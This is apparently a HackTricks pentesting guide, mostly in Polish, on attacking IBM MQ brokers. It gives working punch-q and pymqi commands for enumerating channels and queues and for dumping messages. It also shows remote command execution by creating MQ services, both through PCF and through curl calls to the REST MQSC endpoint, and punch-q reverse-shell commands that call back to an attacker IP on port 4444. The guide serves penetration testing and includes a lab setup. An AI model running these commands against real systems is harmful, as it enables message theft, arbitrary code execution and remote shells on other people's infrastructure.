1414 - Pentesting IBM MQ

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

IBM MQ to technologia IBM do zarządzania kolejkami wiadomości. Jak inne broker komunikatów technologie, służy do odbierania, przechowywania, przetwarzania i klasyfikowania informacji między producentami a konsumentami.

Domyślnie udostępnia IBM MQ TCP port 1414. Czasami HTTP REST API może być udostępnione na porcie 9443. Metryki (Prometheus) mogą być również dostępne na porcie TCP 9157.

IBM MQ TCP port 1414 może być użyty do manipulowania wiadomościami, kolejkami, kanałami, … ale również do kontrolowania instancji.

IBM udostępnia obszerną dokumentację techniczną na https://www.ibm.com/docs/en/ibm-mq.

Narzędzia

Sugerowanym narzędziem do łatwej eksploatacji jest punch-q, z użyciem Docker. Narzędzie aktywnie wykorzystuje bibliotekę Pythona pymqi.

Dla bardziej manualnego podejścia użyj biblioteki Pythona pymqi. Potrzebne są IBM MQ dependencies.

Instalacja pymqi

IBM MQ dependencies musi zostać zainstalowane i załadowane:

  1. Utwórz konto (IBMid) na https://login.ibm.com/.
  2. Pobierz biblioteki IBM MQ z https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Dla Linux x86_64 jest to 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Rozpakuj (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Uruchom sudo ./mqlicense.sh, aby zaakceptować warunki licencji.

Jeśli używasz Kali Linux, zmodyfikuj plik mqlicense.sh: usuń/zakomentuj następujące linie (między liniami 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Zainstaluj te pakiety:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Następnie tymczasowo dodaj pliki .so do LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, zanim uruchomisz inne narzędzia korzystające z tych zależności.

Następnie możesz sklonować projekt pymqi: zawiera ciekawe fragmenty kodu, stałe, … Albo możesz bezpośrednio zainstalować bibliotekę poleceniem: pip install pymqi.

Korzystanie z punch-q

Z Dockerem

Po prostu użyj: sudo docker run --rm -ti leonjza/punch-q.

Bez Dockera

Sklonuj projekt punch-q następnie postępuj zgodnie z readme aby zainstalować (pip install -r requirements.txt && python3 setup.py install).

Potem można z niego korzystać poleceniem punch-q.

Enumeracja

Możesz spróbować wyenumerować nazwę queue managera, użytkowników, kanały i kolejki za pomocą punch-q lub pymqi.

Jeśli TCP/1414 jest filtrowany lub cel udostępnia tylko wbudowany serwer WWW, sprawdź także TCP/9443. Nowsze wersje IBM MQ domyślnie udostępniają tam IBM MQ Console / REST API, gdy mqweb jest włączone, a administracyjny endpoint REST może wykonać dowolne polecenia MQSC, jeśli masz ważne poświadczenia.

Queue Manager

Czasami nie ma zabezpieczeń uniemożliwiających uzyskanie nazwy Queue Managera:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Kanały

punch-q używa wewnętrznej (modyfikowalnej) wordlist do znajdowania istniejących kanałów. Przykład użycia:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Zdarza się, że niektóre instancje IBM MQ akceptują unauthenticated żądania MQ, więc --username / --password nie są potrzebne. Oczywiście prawa dostępu mogą się różnić.

Gdy tylko uzyskamy nazwę kanału (tutaj: DEV.ADMIN.SVRCONN), możemy wyliczyć wszystkie pozostałe kanały.

Wyliczanie można zasadniczo wykonać tym fragmentem kodu code/examples/dis_channels.py z pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… Ale punch-q również zawiera tę część (z większą ilością informacji!). Można go uruchomić za pomocą:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

Wiele przypadków “it connects but returns 2035” jest spowodowanych regułami CHLAUTH lub brakującymi uprawnieniami OAM do docelowych obiektów.

Jeśli masz już administracyjny dostęp do MQSC, MATCH(RUNCHECK) jest najszybszym sposobem, aby ustalić, która reguła zostanie zastosowana do zdalnego połączenia:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

Za pomocą REST admin endpoint na 9443 to samo sprawdzenie można wykonać zdalnie:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Jeśli masz wystarczające uprawnienia do zdalnego używania PCF, IBM udostępnia MQCMD_INQUIRE_CHLAUTH_RECS, które zwraca rekordy uwierzytelniania kanałów oraz ich mapowania na MCAUSER. To przydatne do potwierdzenia, czy kanał mapuje zdalnych użytkowników na bardziej uprzywilejowane lokalne konto, zanim spróbujesz uzyskać dostęp do komunikatów, utworzyć obiekty lub nadużyć usługi.

Kolejki

Jest fragment kodu używający pymqi (dis_queues.py), ale punch-q pozwala pobrać więcej informacji o kolejkach:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Możesz celować w queue(s)/channel(s), aby sniff out / dump messages z nich (operacja niedestrukcyjna). Przykłady:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Nie wahaj się iterować po wszystkich zidentyfikowanych kolejkach.

Wykonanie kodu

Kilka szczegółów przed kontynuacją: IBM MQ może być kontrolowany na kilka sposobów: MQSC, PCF, Control Command. Some general lists can be found in IBM MQ documentation. PCF (Programmable Command Formats) to na czym się skupiamy, aby zdalnie komunikować się z instancją. punch-q i ponadto pymqi bazują na interakcjach PCF.

You can find a list of PCF commands:

Jednym z interesujących poleceń jest MQCMD_CREATE_SERVICE i jego dokumentacja jest dostępna here. Jako argument przyjmuje StartCommand wskazujący na lokalny program na instancji (przykład: /bin/sh).

W dokumentacji znajduje się także ostrzeżenie dotyczące tego polecenia: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”

Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at /admin/action/qmgr/{qmgrName}/mqsc to run the equivalent MQSC command for service creation (DEFINE SERVICE). This aspect is not covered yet here.

If MQ Console / REST API credentials are available, you can often reach the same administrative primitives over HTTPS on 9443 without using the MQ client libraries. IBM documents /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as an endpoint that accepts plain-text MQSC or JSON commands.

The service creation / deletion with PCF for remote program execution can be done by punch-q:

Przykład 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

W logach IBM MQ możesz odczytać, że polecenie zostało pomyślnie wykonane:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Możesz także wypisać istniejące programy na maszynie (tutaj /bin/doesnotexist … nie istnieje):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Uwaga: uruchomienie programu jest asynchroniczne. Dlatego potrzebujesz drugiego elementu, aby wykorzystać exploit (listener for reverse shell, utworzenie pliku na innym serwisie, data exfiltration przez sieć …)

Ta sama technika może być wykonana przez REST API:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Jest to szczególnie przydatne podczas testów, gdy:

  • 9443 jest osiągalny, ale 1414 jest ograniczony do mniejszego zakresu adresów źródłowych
  • Zespół docelowy zarządza IBM MQ głównie przez konsolę webową i zapomniał wzmocnić role REST
  • Chcesz uniknąć instalowania lokalnie bibliotek klienckich IBM MQ i potrzebujesz jedynie administracji na poziomie MQSC

Przykład 2

Dla prostego reverse shell, punch-q proponuje również dwa reverse shell payloady:

  • Jeden z użyciem bash
  • Jeden z użyciem perl

Oczywiście możesz stworzyć własny za pomocą polecenia execute.

Dla bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Dla perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Niestandardowy PCF

Możesz zapoznać się z dokumentacją IBM MQ i bezpośrednio użyć biblioteki pymqi w Pythonie, aby przetestować konkretną komendę PCF niezaimplementowaną w punch-q.

Przykład:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Jeśli nie możesz znaleźć nazw stałych, możesz odwołać się do IBM MQ documentation.

_Przykład dla MQCMD_REFRESH_CLUSTER (Decimal = 73). Wymaga parametru MQCA_CLUSTER_NAME (Decimal = 2029), który może być _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Środowisko testowe

Jeśli chcesz przetestować zachowanie IBM MQ i exploity, możesz skonfigurować lokalne środowisko oparte na Docker:

  1. Posiadanie konta na ibm.com i cloud.ibm.com.
  2. Utwórz konteneryzowany IBM MQ przy użyciu:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Tu nazwa menedżera kolejki została ustawiona na MYQUEUEMGR (zmienna MQ_QMGR_NAME).

Najnowsze obrazy developerskie 9.4.x zmieniły domyślne zachowanie:

  • admin i app są tworzone tylko wtedy, gdy ustawisz dla nich hasła
  • IBM oznacza MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD jako przestarzałe od 9.4.0.0
  • Preferowany sposób to wstrzyknięcie sekretów o nazwach mqAdminPassword i mqAppPassword

Do szybkiego lokalnego środowiska testowego z Podman możesz utworzyć obu użytkowników w ten sposób:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

Przy domyślnej konfiguracji deweloperskiej:

  • DEV.ADMIN.SVRCONN pozwala wyłącznie użytkownikowi admin
  • DEV.APP.SVRCONN jest kanałem aplikacji, a oczekiwaną tożsamością jest użytkownik app
  • https://<target>:9443/ibmmq/console udostępnia konsolę webową, gdy włączony jest wbudowany serwer WWW

Powinieneś mieć IBM MQ uruchomiony i z otwartymi portami:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Stare wersje IBM MQ docker images są dostępne pod: https://hub.docker.com/r/ibmcom/mq/.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks